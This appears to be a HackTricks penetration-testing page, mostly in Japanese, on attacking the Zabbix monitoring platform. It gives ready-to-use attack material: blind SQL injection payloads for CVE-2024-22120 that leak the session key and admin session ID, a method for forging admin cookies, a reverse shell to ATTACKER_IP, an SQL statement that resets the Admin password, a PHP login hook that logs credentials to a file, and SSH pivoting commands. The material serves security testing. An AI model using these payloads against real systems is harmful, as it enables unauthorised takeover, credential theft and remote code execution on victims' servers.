Zabbix セキュリティ

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

Zabbix は、web UI(通常は Apache/Nginx の背後に配置)を公開する監視プラットフォームで、Zabbix プロトコルで通信するサーバーコンポーネント(TCP/10051、server/trapper)およびエージェント(TCP/10050)を持ちます。評価中に遭遇する可能性があるもの:

  • Web UI: zabbix.example.tld のような HTTP(S) 仮想ホスト
  • Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent port: 10050/tcp

役に立つ cookie 形式: zbx_session は少量の JSON オブジェクトを Base64 エンコードしたもので、少なくとも sessionid、serverCheckResult、serverCheckTime、sign を含みます。sign は JSON ペイロードの HMAC です。

最近の Zabbix バージョンではクッキーは次のように計算されます:

  • data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

もし global session_key と有効な admin sessionid を回復できれば、Admin 用の有効なクッキーをオフラインで偽造して UI に認証できます。

CVE-2024-22120 — Zabbix Server の監査ログにおける時間差ブラインドSQLi

影響を受けるバージョン(公開情報):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

脆弱性概要:

  • Script 実行が Zabbix Server の監査ログに記録される際、clientip フィールドがサニタイズされずに SQL に連結されるため、サーバーコンポーネント経由で時間差ブラインド SQLi を引き起こせます。
  • これは、valid な低権限の sessionid、ユーザーがアクセスできる hostid、および許可された scriptid を使って、Zabbix server ポート 10051 に細工した "command" リクエストを送ることで悪用可能です。

前提条件と発見のヒント:

  • sessionid: Web UI の guest/login から、zbx_session をデコード(Base64)して sessionid を取得。
  • hostid: Web UI のリクエスト(例: Monitoring → Hosts)で観察するか、プロキシで傍受;一般的なデフォルトは 10084。
  • scriptid: 現在のロールで許可されたスクリプトのみ実行される;script メニューや AJAX レスポンスを確認して検証。1 や 2 のようなデフォルトは許可されていることが多く、3 は拒否される可能性があります。

攻撃フロー

  1. clientip に SQLi を含めて監査レコード挿入を誘発する
  • TCP/10051 に接続し、request="command" を含む Zabbix framed message を送信します。メッセージには sid、hostid、scriptid と、サーバー側で連結され評価される SQL 式を設定した clientip を含めます。

Minimal message (JSON body) fields:

json
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

完全なワイヤ形式は次のとおりです: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. pwntoolsや自前のsocketコードでフレーム化できます。

  1. Time-bruteforce secrets via conditional sleep

条件式を使い、レスポンス時間を測定して1文字ずつhex-encodedなsecretsをleakします。実際に有効だった例:

  • Leak global session_key from config:
sql
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • sessions から Admin の session_id (userid=1) を leak:
sql
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

注意事項:

  • charset: 32 hex chars [0-9a-f]
  • Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) and measure wall-clock per attempt
  • Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work
  1. Forge Admin cookie

Once you have:

  • session_key: config.session_key から取得した 32-hex
  • admin_sessionid: userid=1 の sessions.sessionid から取得した 32-hex

Compute:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.

Ready-made tooling

  • Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
  • Parameters to provide typically include: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, and optionally a known --admin-sid to skip brute.

RCE via Script execution (post-Admin)

UI で Admin アクセスを得ると、監視対象ホストに対してあらかじめ定義された Scripts を実行できる。エージェント/ホストがスクリプトコマンドをローカルで実行する場合、これが当該システム上でのコード実行(多くの場合 Linux ホストでは zabbix ユーザーとして)につながる:

  • Quick check: run id to confirm user context
  • Reverse shell example:
bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

TTY アップグレード (Linux):

bash
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

DB accessがある場合、forging a cookieの代わりに、Admin passwordを"zabbix"用のドキュメントにあるbcryptにリセットできます:

sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Credential capture via login hook (post-exploitation)

ウェブUIサーバー上でファイル書き込みが可能な場合、フォームベースのログイン処理付近の /usr/share/zabbix/index.php に一時的にログ記録用のスニペットを追加して認証情報を取得できます:

php
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

ユーザーは通常どおり認証します。処理後に /dev/shm/creds.txt を読み取ってください。作業が終わったらフックを削除してください。

Pivoting to internal services

たとえサービスアカウントの shell が /usr/sbin/nologin であっても、SSH の authorized_keys にエントリを追加し、-N -L を使うことで loopback-only services(例: CI/CD が 8111 で動作している場合)へローカルポートフォワードできます:

bash
ssh -i key user@host -N -L 8111:127.0.0.1:8111

より多くの tunneling パターンについては、Tunneling and Port Forwarding を参照してください。

運用上のヒント

  • scriptid が現在のロールで許可されていることを確認する(guest は限定されたセットしか持たない可能性があります)
  • Timing brute は遅くなることがある。復旧した admin sessionid をキャッシュして再利用する
  • 10051 に送信する JSON は ZBXD\x01 ヘッダーと little-endian の長さでフレーム化されている必要がある

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする